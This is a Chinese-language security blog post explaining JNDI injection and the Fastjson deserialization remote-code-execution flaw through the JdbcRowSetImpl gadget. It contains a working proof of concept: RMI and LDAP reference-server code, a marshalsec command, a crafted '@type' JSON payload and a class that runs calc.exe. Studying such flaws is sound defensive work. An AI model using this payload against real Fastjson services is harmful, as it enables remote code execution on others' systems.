JNDI注入及Fastjson反序列化漏洞分析

0x00 前言

本文主要记录了JNDI注入的原理及利用,并拿Fastjson反序列化漏洞作为例子简单分析了其在实际漏洞下的利用思路。

0x01 JNDI注入

何为JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

简单来说JNDI可以通过名字寻找存储在指定位置的对象(Object),比如对象可以存储在rmi,ldap,CORBA等。

RMI 及LADA

Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。详情参加Java RMI详解

LDAP,即目录访问协议(Lightweight Directory Access Protocol),是一种使用TCP/IP以允许客户机访问目录信息并完成认证服务的跨平台标准协议。

JNDI可以与RMI及LDAP的命名/目录服务进行通信,即RMI和LDAP相当于通信过程中的服务端,JNDI可以通过名称向其检索对应的对象。

实例

以RMI进行演示

JndiClient.java

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.Context;
import javax.naming.InitialContext;

public class JndiClient {
public static void main(String[] args) throws Exception{

String uri = "rmi://127.0.0.1:1099/test";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIServer {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);
Reference test = new Reference("JndiTest", "JndiTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(test);
registry.bind("test", refObjWrapper);
}

}

JndiTest.java

1
2
3
4
5
6
7
public class JndiTest {

public static void main(String[] args) {

System.out.println("hello,I'm in JndiTest()");
}
}

服务端:

(1)首先运行RMIServer开启服务

(2)使用python开启一个http服务用于存放编译后的JndiTest类:python -m SimpleHTTPServer 8081

客户端:

​ 运行JndiClient

运行后虽然报错,但是已经成功调用到远程对象JndiTest的无参构造函数。

JNDI注入

上面简单演示了通过JNDI调用远程对象,可以很明显的看到,当JndiClient客户端代码中loopup()方法的参数uri可以被用户控制时,便可以指向攻击者的服务器,利用其会自动调用远程对象的无参构造方法的特性,可以实现任意代码执行,这就是JNDI注入。

0x02 Fastjson反序列化漏洞

FastJson介绍

fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题,早在2017年3月15日,fastjson官方就主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。之后陆陆续续又出现过几次绕过及补丁。详情参见:https://p0sec.net/index.php/archives/123/

FastJson通过toJsonStringparseObject来分别实现序列化和反序列化。

Java原生的反序列化过程中会调用readObject(),因此对其重写不当可能会引起反序列化漏洞。

而FastJson在反序列化过程中,会调用

(1)对象的无参构造函数

(2)对象setter函数

(3)满足条件的getter函数(只有getter无setter且继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong)

刚好,在JdbcRowSetImpl类中存在符合条件的setter方法

首先在setAutoCommit方法

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if(this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

调用了connect方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;
} else if(this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
}
}

connect方法出现了上面JNDI注入中提到的lookup

1
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

查看DataSourceName方法是否可控,发现存在setDataSourceName方法

1
2
3
4
5
6
7
8
9
10
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}

此时便可以构造POC了

1
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/ExecTest\", \"autoCommit\":true}";

这里使用ldap,使用marshalsec可以快速构建

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#ExecTest 9999

同样在http://127.0.0.1:8080/存放编译好的ExecTest类,在该类中可执行任意代码,下面以弹出计算器示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="calc.exe";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}

成功弹窗

QUYRw4.png

0x03 参考链接

https://xz.aliyun.com/t/6633

https://p0sec.net/index.php/archives/123/

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

https://www.freebuf.com/column/189835.html

本文标题:JNDI注入及Fastjson反序列化漏洞分析

文章作者:boogle

发布时间:2019年12月07日 - 23:58

最后更新:2019年12月09日 - 19:24

原始链接:https://zhengbao.wang/JNDI注入及Fastjson反序列化漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗